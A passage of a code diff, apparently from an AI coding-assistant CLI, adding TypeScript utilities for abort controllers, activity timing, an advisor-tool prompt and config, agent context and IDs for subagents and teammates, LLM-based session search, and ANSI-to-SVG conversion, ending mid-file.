* Aborting the child does NOT affect the parent.
*
* Memory-safe: Uses WeakRef so the parent doesn't retain abandoned children.
* If the child is dropped without being aborted, it can still be GC'd.
* When the child IS aborted, the parent listener is removed to prevent
* accumulation of dead handlers.
*
* @param parent - The parent AbortController
* @param maxListeners - Maximum number of listeners (default: 50)
* @returns Child AbortController
*/
export function createChildAbortController(
parent: AbortController,
maxListeners?: number,
): AbortController {
const child = createAbortController(maxListeners)
// Fast path: parent already aborted, no listener setup needed
if (parent.signal.aborted) {
child.abort(parent.signal.reason)
return child
}
// WeakRef prevents the parent from keeping an abandoned child alive.
// If all strong references to child are dropped without aborting it,
// the child can still be GC'd — the parent only holds a dead WeakRef.
const weakChild = new WeakRef(child)
const weakParent = new WeakRef(parent)
const handler = propagateAbort.bind(weakParent, weakChild)
parent.signal.addEventListener('abort', handler, { once: true })
// Auto-cleanup: remove parent listener when child is aborted (from any source).
// Both parent and handler are weakly held — if either has been GC'd or the
// parent already aborted ({once: true}), the cleanup is a harmless no-op.
child.signal.addEventListener(
'abort',
removeAbortHandler.bind(weakParent, new WeakRef(handler)),
{ once: true },
)
return child
}

View File

@@ -0,0 +1,164 @@
import { getActiveTimeCounter as getActiveTimeCounterImpl } from '../bootstrap/state.js'
type ActivityManagerOptions = {
getNow?: () => number
getActiveTimeCounter?: typeof getActiveTimeCounterImpl
}
/**
* ActivityManager handles generic activity tracking for both user and CLI operations.
* It automatically deduplicates overlapping activities and provides separate metrics
* for user vs CLI active time.
*/
export class ActivityManager {
private activeOperations = new Set<string>()
private lastUserActivityTime: number = 0 // Start with 0 to indicate no activity yet
private lastCLIRecordedTime: number
private isCLIActive: boolean = false
private readonly USER_ACTIVITY_TIMEOUT_MS = 5000 // 5 seconds
private readonly getNow: () => number
private readonly getActiveTimeCounter: typeof getActiveTimeCounterImpl
private static instance: ActivityManager | null = null
constructor(options?: ActivityManagerOptions) {
this.getNow = options?.getNow ?? (() => Date.now())
this.getActiveTimeCounter =
options?.getActiveTimeCounter ?? getActiveTimeCounterImpl
this.lastCLIRecordedTime = this.getNow()
}
static getInstance(): ActivityManager {
if (!ActivityManager.instance) {
ActivityManager.instance = new ActivityManager()
}
return ActivityManager.instance
}
/**
* Reset the singleton instance (for testing purposes)
*/
static resetInstance(): void {
ActivityManager.instance = null
}
/**
* Create a new instance with custom options (for testing purposes)
*/
static createInstance(options?: ActivityManagerOptions): ActivityManager {
ActivityManager.instance = new ActivityManager(options)
return ActivityManager.instance
}
/**
* Called when user interacts with the CLI (typing, commands, etc.)
*/
recordUserActivity(): void {
// Don't record user time if CLI is active (CLI takes precedence)
if (!this.isCLIActive && this.lastUserActivityTime !== 0) {
const now = this.getNow()
const timeSinceLastActivity = (now - this.lastUserActivityTime) / 1000
if (timeSinceLastActivity > 0) {
const activeTimeCounter = this.getActiveTimeCounter()
if (activeTimeCounter) {
const timeoutSeconds = this.USER_ACTIVITY_TIMEOUT_MS / 1000
// Only record time if within the timeout window
if (timeSinceLastActivity < timeoutSeconds) {
activeTimeCounter.add(timeSinceLastActivity, { type: 'user' })
}
}
}
}
// Update the last user activity timestamp
this.lastUserActivityTime = this.getNow()
}
/**
* Starts tracking CLI activity (tool execution, AI response, etc.)
*/
startCLIActivity(operationId: string): void {
// If operation already exists, it likely means the previous one didn't clean up
// properly (e.g., component crashed/unmounted without calling end). Force cleanup
// to avoid overestimating time - better to underestimate than overestimate.
if (this.activeOperations.has(operationId)) {
this.endCLIActivity(operationId)
}
const wasEmpty = this.activeOperations.size === 0
this.activeOperations.add(operationId)
if (wasEmpty) {
this.isCLIActive = true
this.lastCLIRecordedTime = this.getNow()
}
}
/**
* Stops tracking CLI activity
*/
endCLIActivity(operationId: string): void {
this.activeOperations.delete(operationId)
if (this.activeOperations.size === 0) {
// Last operation ended - CLI becoming inactive
// Record the CLI time before switching to inactive
const now = this.getNow()
const timeSinceLastRecord = (now - this.lastCLIRecordedTime) / 1000
if (timeSinceLastRecord > 0) {
const activeTimeCounter = this.getActiveTimeCounter()
if (activeTimeCounter) {
activeTimeCounter.add(timeSinceLastRecord, { type: 'cli' })
}
}
this.lastCLIRecordedTime = now
this.isCLIActive = false
}
}
/**
* Convenience method to track an async operation automatically (mainly for testing/debugging)
*/
async trackOperation<T>(
operationId: string,
fn: () => Promise<T>,
): Promise<T> {
this.startCLIActivity(operationId)
try {
return await fn()
} finally {
this.endCLIActivity(operationId)
}
}
/**
* Gets current activity states (mainly for testing/debugging)
*/
getActivityStates(): {
isUserActive: boolean
isCLIActive: boolean
activeOperationCount: number
} {
const now = this.getNow()
const timeSinceUserActivity = (now - this.lastUserActivityTime) / 1000
const isUserActive =
timeSinceUserActivity < this.USER_ACTIVITY_TIMEOUT_MS / 1000
return {
isUserActive,
isCLIActive: this.isCLIActive,
activeOperationCount: this.activeOperations.size,
}
}
}
// Export singleton instance
export const activityManager = ActivityManager.getInstance()

145
src/utils/advisor.ts Normal file
View File

@@ -0,0 +1,145 @@
import type { BetaUsage } from '@anthropic-ai/sdk/resources/beta/messages/messages.mjs'
import { getFeatureValue_CACHED_MAY_BE_STALE } from '../services/analytics/growthbook.js'
import { shouldIncludeFirstPartyOnlyBetas } from './betas.js'
import { isEnvTruthy } from './envUtils.js'
import { getInitialSettings } from './settings/settings.js'
// The SDK does not yet have types for advisor blocks.
// TODO(hackyon): Migrate to the real anthropic SDK types when this feature ships publicly
export type AdvisorServerToolUseBlock = {
type: 'server_tool_use'
id: string
name: 'advisor'
input: { [key: string]: unknown }
}
export type AdvisorToolResultBlock = {
type: 'advisor_tool_result'
tool_use_id: string
content:
| {
type: 'advisor_result'
text: string
}
| {
type: 'advisor_redacted_result'
encrypted_content: string
}
| {
type: 'advisor_tool_result_error'
error_code: string
}
}
export type AdvisorBlock = AdvisorServerToolUseBlock | AdvisorToolResultBlock
export function isAdvisorBlock(param: {
type: string
name?: string
}): param is AdvisorBlock {
return (
param.type === 'advisor_tool_result' ||
(param.type === 'server_tool_use' && param.name === 'advisor')
)
}
type AdvisorConfig = {
enabled?: boolean
canUserConfigure?: boolean
baseModel?: string
advisorModel?: string
}
function getAdvisorConfig(): AdvisorConfig {
return getFeatureValue_CACHED_MAY_BE_STALE<AdvisorConfig>(
'tengu_sage_compass',
{},
)
}
export function isAdvisorEnabled(): boolean {
if (isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_ADVISOR_TOOL)) {
return false
}
// The advisor beta header is first-party only (Bedrock/Vertex 400 on it).
if (!shouldIncludeFirstPartyOnlyBetas()) {
return false
}
return getAdvisorConfig().enabled ?? false
}
export function canUserConfigureAdvisor(): boolean {
return isAdvisorEnabled() && (getAdvisorConfig().canUserConfigure ?? false)
}
export function getExperimentAdvisorModels():
| { baseModel: string; advisorModel: string }
| undefined {
const config = getAdvisorConfig()
return isAdvisorEnabled() &&
!canUserConfigureAdvisor() &&
config.baseModel &&
config.advisorModel
? { baseModel: config.baseModel, advisorModel: config.advisorModel }
: undefined
}
// @[MODEL LAUNCH]: Add the new model if it supports the advisor tool.
// Checks whether the main loop model supports calling the advisor tool.
export function modelSupportsAdvisor(model: string): boolean {
const m = model.toLowerCase()
return (
m.includes('opus-4-6') ||
m.includes('sonnet-4-6') ||
process.env.USER_TYPE === 'ant'
)
}
// @[MODEL LAUNCH]: Add the new model if it can serve as an advisor model.
export function isValidAdvisorModel(model: string): boolean {
const m = model.toLowerCase()
return (
m.includes('opus-4-6') ||
m.includes('sonnet-4-6') ||
process.env.USER_TYPE === 'ant'
)
}
export function getInitialAdvisorSetting(): string | undefined {
if (!isAdvisorEnabled()) {
return undefined
}
return getInitialSettings().advisorModel
}
export function getAdvisorUsage(
usage: BetaUsage,
): Array<BetaUsage & { model: string }> {
const iterations = usage.iterations as
| Array<{ type: string }>
| null
| undefined
if (!iterations) {
return []
}
return iterations.filter(
it => it.type === 'advisor_message',
) as unknown as Array<BetaUsage & { model: string }>
}
export const ADVISOR_TOOL_INSTRUCTIONS = `# Advisor Tool
You have access to an \`advisor\` tool backed by a stronger reviewer model. It takes NO parameters -- when you call it, your entire conversation history is automatically forwarded. The advisor sees the task, every tool call you've made, every result you've seen.
Call advisor BEFORE substantive work -- before writing code, before committing to an interpretation, before building on an assumption. If the task requires orientation first (finding files, reading code, seeing what's there), do that, then call advisor. Orientation is not substantive work. Writing, editing, and declaring an answer are.
Also call advisor:
- When you believe the task is complete. BEFORE this call, make your deliverable durable: write the file, stage the change, save the result. The advisor call takes time; if the session ends during it, a durable result persists and an unwritten one doesn't.
- When stuck -- errors recurring, approach not converging, results that don't fit.
- When considering a change of approach.
On tasks longer than a few steps, call advisor at least once before committing to an approach and once before declaring done. On short reactive tasks where the next action is dictated by tool output you just read, you don't need to keep calling -- the advisor adds most of its value on the first call, before the approach crystallizes.
Give the advice serious weight. If you follow a step and it fails empirically, or you have primary-source evidence that contradicts a specific claim (the file says X, the code does Y), adapt. A passing self-test is not evidence the advice is wrong -- it's evidence your test doesn't check what the advice is checking.
If you've already retrieved data pointing one way and the advisor points another: don't silently switch. Surface the conflict in one more advisor call -- "I found X, you suggest Y, which constraint breaks the tie?" The advisor saw your evidence but may have underweighted it; a reconcile call is cheaper than committing to the wrong branch.`

178
src/utils/agentContext.ts Normal file
View File

@@ -0,0 +1,178 @@
/**
* Agent context for analytics attribution using AsyncLocalStorage.
*
* This module provides a way to track agent identity across async operations
* without parameter drilling. Supports two agent types:
*
* 1. Subagents (Agent tool): Run in-process for quick, delegated tasks.
* Context: SubagentContext with agentType: 'subagent'
*
* 2. In-process teammates: Part of a swarm with team coordination.
* Context: TeammateAgentContext with agentType: 'teammate'
*
* For swarm teammates in separate processes (tmux/iTerm2), use environment
* variables instead: CLAUDE_CODE_AGENT_ID, CLAUDE_CODE_PARENT_SESSION_ID
*
* WHY AsyncLocalStorage (not AppState):
* When agents are backgrounded (ctrl+b), multiple agents can run concurrently
* in the same process. AppState is a single shared state that would be
* overwritten, causing Agent A's events to incorrectly use Agent B's context.
* AsyncLocalStorage isolates each async execution chain, so concurrent agents
* don't interfere with each other.
*/
import { AsyncLocalStorage } from 'async_hooks'
import type { AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS } from '../services/analytics/index.js'
import { isAgentSwarmsEnabled } from './agentSwarmsEnabled.js'
/**
* Context for subagents (Agent tool agents).
* Subagents run in-process for quick, delegated tasks.
*/
export type SubagentContext = {
/** The subagent's UUID (from createAgentId()) */
agentId: string
/** The team lead's session ID (from CLAUDE_CODE_PARENT_SESSION_ID env var), undefined for main REPL subagents */
parentSessionId?: string
/** Agent type - 'subagent' for Agent tool agents */
agentType: 'subagent'
/** The subagent's type name (e.g., "Explore", "Bash", "code-reviewer") */
subagentName?: string
/** Whether this is a built-in agent (vs user-defined custom agent) */
isBuiltIn?: boolean
/** The request_id in the invoking agent that spawned or resumed this agent.
* For nested subagents this is the immediate invoker, not the root —
* session_id already bundles the whole tree. Updated on each resume. */
invokingRequestId?: string
/** Whether this invocation is the initial spawn or a subsequent resume
* via SendMessage. Undefined when invokingRequestId is absent. */
invocationKind?: 'spawn' | 'resume'
/** Mutable flag: has this invocation's edge been emitted to telemetry yet?
* Reset to false on each spawn/resume; flipped true by
* consumeInvokingRequestId() on the first terminal API event. */
invocationEmitted?: boolean
}
/**
* Context for in-process teammates.
* Teammates are part of a swarm and have team coordination.
*/
export type TeammateAgentContext = {
/** Full agent ID, e.g., "researcher@my-team" */
agentId: string
/** Display name, e.g., "researcher" */
agentName: string
/** Team name this teammate belongs to */
teamName: string
/** UI color assigned to this teammate */
agentColor?: string
/** Whether teammate must enter plan mode before implementing */
planModeRequired: boolean
/** The team lead's session ID for transcript correlation */
parentSessionId: string
/** Whether this agent is the team lead */
isTeamLead: boolean
/** Agent type - 'teammate' for swarm teammates */
agentType: 'teammate'
/** The request_id in the invoking agent that spawned or resumed this
* teammate. Undefined for teammates started outside a tool call
* (e.g. session start). Updated on each resume. */
invokingRequestId?: string
/** See SubagentContext.invocationKind. */
invocationKind?: 'spawn' | 'resume'
/** Mutable flag: see SubagentContext.invocationEmitted. */
invocationEmitted?: boolean
}
/**
* Discriminated union for agent context.
* Use agentType to distinguish between subagent and teammate contexts.
*/
export type AgentContext = SubagentContext | TeammateAgentContext
const agentContextStorage = new AsyncLocalStorage<AgentContext>()
/**
* Get the current agent context, if any.
* Returns undefined if not running within an agent context (subagent or teammate).
* Use type guards isSubagentContext() or isTeammateAgentContext() to narrow the type.
*/
export function getAgentContext(): AgentContext | undefined {
return agentContextStorage.getStore()
}
/**
* Run an async function with the given agent context.
* All async operations within the function will have access to this context.
*/
export function runWithAgentContext<T>(context: AgentContext, fn: () => T): T {
return agentContextStorage.run(context, fn)
}
/**
* Type guard to check if context is a SubagentContext.
*/
export function isSubagentContext(
context: AgentContext | undefined,
): context is SubagentContext {
return context?.agentType === 'subagent'
}
/**
* Type guard to check if context is a TeammateAgentContext.
*/
export function isTeammateAgentContext(
context: AgentContext | undefined,
): context is TeammateAgentContext {
if (isAgentSwarmsEnabled()) {
return context?.agentType === 'teammate'
}
return false
}
/**
* Get the subagent name suitable for analytics logging.
* Returns the agent type name for built-in agents, "user-defined" for custom agents,
* or undefined if not running within a subagent context.
*
* Safe for analytics metadata: built-in agent names are code constants,
* and custom agents are always mapped to the literal "user-defined".
*/
export function getSubagentLogName():
| AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS
| undefined {
const context = getAgentContext()
if (!isSubagentContext(context) || !context.subagentName) {
return undefined
}
return (
context.isBuiltIn ? context.subagentName : 'user-defined'
) as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS
}
/**
* Get the invoking request_id for the current agent context — once per
* invocation. Returns the id on the first call after a spawn/resume, then
* undefined until the next boundary. Also undefined on the main thread or
* when the spawn path had no request_id.
*
* Sparse edge semantics: invokingRequestId appears on exactly one
* tengu_api_success/error per invocation, so a non-NULL value downstream
* marks a spawn/resume boundary.
*/
export function consumeInvokingRequestId():
| {
invokingRequestId: string
invocationKind: 'spawn' | 'resume' | undefined
}
| undefined {
const context = getAgentContext()
if (!context?.invokingRequestId || context.invocationEmitted) {
return undefined
}
context.invocationEmitted = true
return {
invokingRequestId: context.invokingRequestId,
invocationKind: context.invocationKind,
}
}

99
src/utils/agentId.ts Normal file
View File

@@ -0,0 +1,99 @@
/**
* Deterministic Agent ID System
*
* This module provides helper functions for formatting and parsing deterministic
* agent IDs used in the swarm/teammate system.
*
* ## ID Formats
*
* **Agent IDs**: `agentName@teamName`
* - Example: `team-lead@my-project`, `researcher@my-project`
* - The @ symbol acts as a separator between agent name and team name
*
* **Request IDs**: `{requestType}-{timestamp}@{agentId}`
* - Example: `shutdown-1702500000000@researcher@my-project`
* - Used for shutdown requests, plan approvals, etc.
*
* ## Why Deterministic IDs?
*
* Deterministic IDs provide several benefits:
*
* 1. **Reproducibility**: The same agent spawned with the same name in the same team
* always gets the same ID, enabling reconnection after crashes/restarts.
*
* 2. **Human-readable**: IDs are meaningful and debuggable (e.g., `tester@my-project`).
*
* 3. **Predictable**: Team leads can compute a teammate's ID without looking it up,
* simplifying message routing and task assignment.
*
* ## Constraints
*
* - Agent names must NOT contain `@` (it's used as the separator)
* - Use `sanitizeAgentName()` from TeammateTool.ts to strip @ from names
*/
/**
* Formats an agent ID in the format `agentName@teamName`.
*/
export function formatAgentId(agentName: string, teamName: string): string {
return `${agentName}@${teamName}`
}
/**
* Parses an agent ID into its components.
* Returns null if the ID doesn't contain the @ separator.
*/
export function parseAgentId(
agentId: string,
): { agentName: string; teamName: string } | null {
const atIndex = agentId.indexOf('@')
if (atIndex === -1) {
return null
}
return {
agentName: agentId.slice(0, atIndex),
teamName: agentId.slice(atIndex + 1),
}
}
/**
* Formats a request ID in the format `{requestType}-{timestamp}@{agentId}`.
*/
export function generateRequestId(
requestType: string,
agentId: string,
): string {
const timestamp = Date.now()
return `${requestType}-${timestamp}@${agentId}`
}
/**
* Parses a request ID into its components.
* Returns null if the request ID doesn't match the expected format.
*/
export function parseRequestId(
requestId: string,
): { requestType: string; timestamp: number; agentId: string } | null {
const atIndex = requestId.indexOf('@')
if (atIndex === -1) {
return null
}
const prefix = requestId.slice(0, atIndex)
const agentId = requestId.slice(atIndex + 1)
const lastDashIndex = prefix.lastIndexOf('-')
if (lastDashIndex === -1) {
return null
}
const requestType = prefix.slice(0, lastDashIndex)
const timestampStr = prefix.slice(lastDashIndex + 1)
const timestamp = parseInt(timestampStr, 10)
if (isNaN(timestamp)) {
return null
}
return { requestType, timestamp, agentId }
}

View File

@@ -0,0 +1,44 @@
import { getFeatureValue_CACHED_MAY_BE_STALE } from '../services/analytics/growthbook.js'
import { isEnvTruthy } from './envUtils.js'
/**
* Check if --agent-teams flag is provided via CLI.
* Checks process.argv directly to avoid import cycles with bootstrap/state.
* Note: The flag is only shown in help for ant users, but if external users
* pass it anyway, it will work (subject to the killswitch).
*/
function isAgentTeamsFlagSet(): boolean {
return process.argv.includes('--agent-teams')
}
/**
* Centralized runtime check for agent teams/teammate features.
* This is the single gate that should be checked everywhere teammates
* are referenced (prompts, code, tools isEnabled, UI, etc.).
*
* Ant builds: always enabled.
* External builds require both:
* 1. Opt-in via CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS env var OR --agent-teams flag
* 2. GrowthBook gate 'tengu_amber_flint' enabled (killswitch)
*/
export function isAgentSwarmsEnabled(): boolean {
// Ant: always on
if (process.env.USER_TYPE === 'ant') {
return true
}
// External: require opt-in via env var or --agent-teams flag
if (
!isEnvTruthy(process.env.CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS) &&
!isAgentTeamsFlagSet()
) {
return false
}
// Killswitch — always respected for external users
if (!getFeatureValue_CACHED_MAY_BE_STALE('tengu_amber_flint', true)) {
return false
}
return true
}

View File

@@ -0,0 +1,307 @@
import type { LogOption, SerializedMessage } from '../types/logs.js'
import { count } from './array.js'
import { logForDebugging } from './debug.js'
import { getLogDisplayTitle, logError } from './log.js'
import { getSmallFastModel } from './model/model.js'
import { isLiteLog, loadFullLog } from './sessionStorage.js'
import { sideQuery } from './sideQuery.js'
import { jsonParse } from './slowOperations.js'
// Limits for transcript extraction
const MAX_TRANSCRIPT_CHARS = 2000 // Max chars of transcript per session
const MAX_MESSAGES_TO_SCAN = 100 // Max messages to scan from start/end
const MAX_SESSIONS_TO_SEARCH = 100 // Max sessions to send to the API
const SESSION_SEARCH_SYSTEM_PROMPT = `Your goal is to find relevant sessions based on a user's search query.
You will be given a list of sessions with their metadata and a search query. Identify which sessions are most relevant to the query.
Each session may include:
- Title (display name or custom title)
- Tag (user-assigned category, shown as [tag: name] - users tag sessions with /tag command to categorize them)
- Branch (git branch name, shown as [branch: name])
- Summary (AI-generated summary)
- First message (beginning of the conversation)
- Transcript (excerpt of conversation content)
IMPORTANT: Tags are user-assigned labels that indicate the session's topic or category. If the query matches a tag exactly or partially, those sessions should be highly prioritized.
For each session, consider (in order of priority):
1. Exact tag matches (highest priority - user explicitly categorized this session)
2. Partial tag matches or tag-related terms
3. Title matches (custom titles or first message content)
4. Branch name matches
5. Summary and transcript content matches
6. Semantic similarity and related concepts
CRITICAL: Be VERY inclusive in your matching. Include sessions that:
- Contain the query term anywhere in any field
- Are semantically related to the query (e.g., "testing" matches sessions about "tests", "unit tests", "QA", etc.)
- Discuss topics that could be related to the query
- Have transcripts that mention the concept even in passing
When in doubt, INCLUDE the session. It's better to return too many results than too few. The user can easily scan through results, but missing relevant sessions is frustrating.
Return sessions ordered by relevance (most relevant first). If truly no sessions have ANY connection to the query, return an empty array - but this should be rare.
Respond with ONLY the JSON object, no markdown formatting:
{"relevant_indices": [2, 5, 0]}`
type AgenticSearchResult = {
relevant_indices: number[]
}
/**
* Extracts searchable text content from a message.
*/
function extractMessageText(message: SerializedMessage): string {
if (message.type !== 'user' && message.type !== 'assistant') {
return ''
}
const content = 'message' in message ? message.message?.content : undefined
if (!content) return ''
if (typeof content === 'string') {
return content
}
if (Array.isArray(content)) {
return content
.map(block => {
if (typeof block === 'string') return block
if ('text' in block && typeof block.text === 'string') return block.text
return ''
})
.filter(Boolean)
.join(' ')
}
return ''
}
/**
* Extracts a truncated transcript from session messages.
*/
function extractTranscript(messages: SerializedMessage[]): string {
if (messages.length === 0) return ''
// Take messages from start and end to get context
const messagesToScan =
messages.length <= MAX_MESSAGES_TO_SCAN
? messages
: [
...messages.slice(0, MAX_MESSAGES_TO_SCAN / 2),
...messages.slice(-MAX_MESSAGES_TO_SCAN / 2),
]
const text = messagesToScan
.map(extractMessageText)
.filter(Boolean)
.join(' ')
.replace(/\s+/g, ' ')
.trim()
return text.length > MAX_TRANSCRIPT_CHARS
? text.slice(0, MAX_TRANSCRIPT_CHARS) + '…'
: text
}
/**
* Checks if a log contains the query term in any searchable field.
*/
function logContainsQuery(log: LogOption, queryLower: string): boolean {
// Check title
const title = getLogDisplayTitle(log).toLowerCase()
if (title.includes(queryLower)) return true
// Check custom title
if (log.customTitle?.toLowerCase().includes(queryLower)) return true
// Check tag
if (log.tag?.toLowerCase().includes(queryLower)) return true
// Check branch
if (log.gitBranch?.toLowerCase().includes(queryLower)) return true
// Check summary
if (log.summary?.toLowerCase().includes(queryLower)) return true
// Check first prompt
if (log.firstPrompt?.toLowerCase().includes(queryLower)) return true
// Check transcript (more expensive, do last)
if (log.messages && log.messages.length > 0) {
const transcript = extractTranscript(log.messages).toLowerCase()
if (transcript.includes(queryLower)) return true
}
return false
}
/**
* Performs an agentic search using Claude to find relevant sessions
* based on semantic understanding of the query.
*/
export async function agenticSessionSearch(
query: string,
logs: LogOption[],
signal?: AbortSignal,
): Promise<LogOption[]> {
if (!query.trim() || logs.length === 0) {
return []
}
const queryLower = query.toLowerCase()
// Pre-filter: find sessions that contain the query term
// This ensures we search relevant sessions, not just recent ones
const matchingLogs = logs.filter(log => logContainsQuery(log, queryLower))
// Take up to MAX_SESSIONS_TO_SEARCH matching logs
// If fewer matches, fill remaining slots with recent non-matching logs for context
let logsToSearch: LogOption[]
if (matchingLogs.length >= MAX_SESSIONS_TO_SEARCH) {
logsToSearch = matchingLogs.slice(0, MAX_SESSIONS_TO_SEARCH)
} else {
const nonMatchingLogs = logs.filter(
log => !logContainsQuery(log, queryLower),
)
const remainingSlots = MAX_SESSIONS_TO_SEARCH - matchingLogs.length
logsToSearch = [
...matchingLogs,
...nonMatchingLogs.slice(0, remainingSlots),
]
}
// Debug: log what data we have
logForDebugging(
`Agentic search: ${logsToSearch.length}/${logs.length} logs, query="${query}", ` +
`matching: ${matchingLogs.length}, with messages: ${count(logsToSearch, l => l.messages?.length > 0)}`,
)
// Load full logs for lite logs to get transcript content
const logsWithTranscriptsPromises = logsToSearch.map(async log => {
if (isLiteLog(log)) {
try {
return await loadFullLog(log)
} catch (error) {
logError(error as Error)
// If loading fails, use the lite log (no transcript)
return log
}
}
return log
})
const logsWithTranscripts = await Promise.all(logsWithTranscriptsPromises)
logForDebugging(
`Agentic search: loaded ${count(logsWithTranscripts, l => l.messages?.length > 0)}/${logsToSearch.length} logs with transcripts`,
)
// Build session list for the prompt with all searchable metadata
const sessionList = logsWithTranscripts
.map((log, index) => {
const parts: string[] = [`${index}:`]
// Title (display title, may be custom or from first prompt)
const displayTitle = getLogDisplayTitle(log)
parts.push(displayTitle)
// Custom title if different from display title
if (log.customTitle && log.customTitle !== displayTitle) {
parts.push(`[custom title: ${log.customTitle}]`)
}
// Tag
if (log.tag) {
parts.push(`[tag: ${log.tag}]`)
}
// Git branch
if (log.gitBranch) {
parts.push(`[branch: ${log.gitBranch}]`)
}
// Summary
if (log.summary) {
parts.push(`- Summary: ${log.summary}`)
}
// First prompt content (truncated)
if (log.firstPrompt && log.firstPrompt !== 'No prompt') {
parts.push(`- First message: ${log.firstPrompt.slice(0, 300)}`)
}
// Transcript excerpt (if messages are available)
if (log.messages && log.messages.length > 0) {
const transcript = extractTranscript(log.messages)
if (transcript) {
parts.push(`- Transcript: ${transcript}`)
}
}
return parts.join(' ')
})
.join('\n')
const userMessage = `Sessions:
${sessionList}
Search query: "${query}"
Find the sessions that are most relevant to this query.`
// Debug: log first part of the session list
logForDebugging(
`Agentic search prompt (first 500 chars): ${userMessage.slice(0, 500)}...`,
)
try {
const model = getSmallFastModel()
logForDebugging(`Agentic search using model: ${model}`)
const response = await sideQuery({
model,
system: SESSION_SEARCH_SYSTEM_PROMPT,
messages: [{ role: 'user', content: userMessage }],
signal,
querySource: 'session_search',
})
// Extract the text content from the response
const textContent = response.content.find(block => block.type === 'text')
if (!textContent || textContent.type !== 'text') {
logForDebugging('No text content in agentic search response')
return []
}
// Debug: log the response
logForDebugging(`Agentic search response: ${textContent.text}`)
// Parse the JSON response
const jsonMatch = textContent.text.match(/\{[\s\S]*\}/)
if (!jsonMatch) {
logForDebugging('Could not find JSON in agentic search response')
return []
}
const result: AgenticSearchResult = jsonParse(jsonMatch[0])
const relevantIndices = result.relevant_indices || []
// Map indices back to logs (indices are relative to logsWithTranscripts)
const relevantLogs = relevantIndices
.filter(index => index >= 0 && index < logsWithTranscripts.length)
.map(index => logsWithTranscripts[index]!)
logForDebugging(
`Agentic search found ${relevantLogs.length} relevant sessions`,
)
return relevantLogs
} catch (error) {
logError(error as Error)
logForDebugging(`Agentic search error: ${error}`)
return []
}
}

1382
src/utils/analyzeContext.ts Normal file

File diff suppressed because it is too large Load Diff

334
src/utils/ansiToPng.ts Normal file

File diff suppressed because one or more lines are too long

272
src/utils/ansiToSvg.ts Normal file
View File

@@ -0,0 +1,272 @@
/**
* Converts ANSI-escaped terminal text to SVG format
* Supports basic ANSI color codes (foreground colors)
*/
import { escapeXml } from './xml.js'
export type AnsiColor = {
r: number
g: number
b: number
}
// Default terminal color palette (similar to most terminals)
const ANSI_COLORS: Record<number, AnsiColor> = {
30: { r: 0, g: 0, b: 0 }, // black
31: { r: 205, g: 49, b: 49 }, // red
32: { r: 13, g: 188, b: 121 }, // green
33: { r: 229, g: 229, b: 16 }, // yellow
34: { r: 36, g: 114, b: 200 }, // blue
35: { r: 188, g: 63, b: 188 }, // magenta
36: { r: 17, g: 168, b: 205 }, // cyan
37: { r: 229, g: 229, b: 229 }, // white
// Bright colors
90: { r: 102, g: 102, b: 102 }, // bright black (gray)
91: { r: 241, g: 76, b: 76 }, // bright red
92: { r: 35, g: 209, b: 139 }, // bright green
93: { r: 245, g: 245, b: 67 }, // bright yellow
94: { r: 59, g: 142, b: 234 }, // bright blue
95: { r: 214, g: 112, b: 214 }, // bright magenta
96: { r: 41, g: 184, b: 219 }, // bright cyan
97: { r: 255, g: 255, b: 255 }, // bright white
}
export const DEFAULT_FG: AnsiColor = { r: 229, g: 229, b: 229 } // light gray
export const DEFAULT_BG: AnsiColor = { r: 30, g: 30, b: 30 } // dark gray
export type TextSpan = {
text: string
color: AnsiColor
bold: boolean
}
export type ParsedLine = TextSpan[]
/**
* Parse ANSI escape sequences from text
* Supports:
* - Basic colors (30-37, 90-97)
* - 256-color mode (38;5;n)
* - 24-bit true color (38;2;r;g;b)
*/
export function parseAnsi(text: string): ParsedLine[] {
const lines: ParsedLine[] = []
const rawLines = text.split('\n')
for (const line of rawLines) {
const spans: TextSpan[] = []
let currentColor = DEFAULT_FG
let bold = false
let i = 0
while (i < line.length) {
// Check for ANSI escape sequence
if (line[i] === '\x1b' && line[i + 1] === '[') {
// Find the end of the escape sequence
let j = i + 2
while (j < line.length && !/[A-Za-z]/.test(line[j]!)) {
j++
}
if (line[j] === 'm') {
// Color/style code
const codes = line
.slice(i + 2, j)
.split(';')
.map(Number)
let k = 0
while (k < codes.length) {
const code = codes[k]!
if (code === 0) {
// Reset
currentColor = DEFAULT_FG
bold = false
} else if (code === 1) {
bold = true
} else if (code >= 30 && code <= 37) {
currentColor = ANSI_COLORS[code] || DEFAULT_FG
} else if (code >= 90 && code <= 97) {
currentColor = ANSI_COLORS[code] || DEFAULT_FG
} else if (code === 39) {
currentColor = DEFAULT_FG
} else if (code === 38) {
// Extended color - check next code
if (codes[k + 1] === 5 && codes[k + 2] !== undefined) {
// 256-color mode: 38;5;n
const colorIndex = codes[k + 2]!
currentColor = get256Color(colorIndex)
k += 2
} else if (
codes[k + 1] === 2 &&
codes[k + 2] !== undefined &&
codes[k + 3] !== undefined &&
codes[k + 4] !== undefined
) {
// 24-bit true color: 38;2;r;g;b
currentColor = {
r: codes[k + 2]!,
g: codes[k + 3]!,
b: codes[k + 4]!,
}
k += 4
}
}
k++
}
}
i = j + 1
continue
}
// Regular character - find extent of same-styled text
const textStart = i
while (i < line.length && line[i] !== '\x1b') {
i++
}
const spanText = line.slice(textStart, i)
if (spanText) {
spans.push({ text: spanText, color: currentColor, bold })
}
}
// Add empty span if line is empty (to preserve line)
if (spans.length === 0) {
spans.push({ text: '', color: DEFAULT_FG, bold: false })
}
lines.push(spans)
}
return lines
}
/**
* Get color from 256-color palette
*/
function get256Color(index: number): AnsiColor {
// Standard colors (0-15)
if (index < 16) {
const standardColors: AnsiColor[] = [
{ r: 0, g: 0, b: 0 }, // 0 black
{ r: 128, g: 0, b: 0 }, // 1 red
{ r: 0, g: 128, b: 0 }, // 2 green
{ r: 128, g: 128, b: 0 }, // 3 yellow
{ r: 0, g: 0, b: 128 }, // 4 blue
{ r: 128, g: 0, b: 128 }, // 5 magenta
{ r: 0, g: 128, b: 128 }, // 6 cyan
{ r: 192, g: 192, b: 192 }, // 7 white
{ r: 128, g: 128, b: 128 }, // 8 bright black
{ r: 255, g: 0, b: 0 }, // 9 bright red
{ r: 0, g: 255, b: 0 }, // 10 bright green
{ r: 255, g: 255, b: 0 }, // 11 bright yellow
